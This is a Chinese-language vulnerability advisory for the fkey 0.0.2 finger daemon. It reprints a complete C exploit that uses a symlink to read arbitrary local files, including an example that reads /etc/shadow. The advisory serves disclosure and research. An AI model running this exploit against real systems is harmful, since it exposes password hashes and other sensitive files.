发布日期：2005-01-20
更新日期：2005-02-04

受影响系统：

fkey fkey 0.0.2

描述：

---

BUGTRAQ  ID: 12321

fkey是一款可扩展finger的守护进程可用于显示用户指定的文件。

fkey不正确处理用户提供的文件参数，本地或远程攻击者可以利用这个漏洞访问系统文件。

指定系统任意文件作为参数并重定向错误到某个临时文件，可导致敏感信息泄露。

<*来源：vade79/v9 （v9@fakehalo.us）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110624499027045&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

vade79/v9 （v9@fakehalo.us）提供了如下测试方法：

/*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
*                                                          *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)         *
*                                                          *
* netris homepage/URL:                                     *
*  http://www.freshmeat.net/projects/fkey                  *
*                                                          *
* compile:                                                 *
*  gcc xfkey.c -o xfkey                                    *
*                                                          *
* syntax:                                                  *
*  # ./xfkey /etc/shadow 2>~/save_filename                 *
*                                                          *
* bug:                                                     *
*  fkey is a finger-like daemon for accessing remote files *
*  in a specified directory.  there is no limitations      *
*  placed on the file acessing other than it must be a     *
*  filename/path equal to 10 or less bytes.  this limits   *
*  the remote possibilities somewhat, but symlinking to a  *
*  short path(ie. /tmp/file) locally can access anything.  *
*  (this exploits locally)                                 *
*                                                          *
* note:                                                    *
*  this is pretty low-risk due to the fact that the        *
*  program isn't very common, just browsing freshmeat.net  *
*  and killing some time.                                  *
************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */

void fkey_connect(unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}

int main(int argc,char **argv){
unsigned short port=79;
if(argc<2){
  printf("[!] syntax: %s <file> [port]\n",argv[0]);
  exit(1);
}
if(argc>2)port=atoi(argv[2]);
unlink(TMPFILE);
if(symlink(argv[1],TMPFILE))
  printe("symlink() failed.",1);
fkey_connect(port);
unlink(TMPFILE);
exit(0);
}
void fkey_connect(unsigned short port){
int sock=0,l=0,m=0;
char buf[1024+1];
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: localhost:%u.\n",port);
if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){
  if(!(t=gethostbyname("localhost")))
   printe("couldn't resolve hostname.",1);
  memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(3);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  printe("connection failed.",1);
alarm(0);
printf("[*] successfully connected: localhost:%u.\n",port);
write(sock,TMPFILE,strlen(TMPFILE));
alarm(5);
for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){
  fputs(buf,stderr);
  m+=l;
}
alarm(0);
if(m<=0)
  printe("exploit failed, file doesn't exist or zero-length file.",0);
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}

建议：

---

厂商补丁：

fkey
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://freshmeat.net/projects/fkey

浏览次数：2635
严重程度：0（网友投票）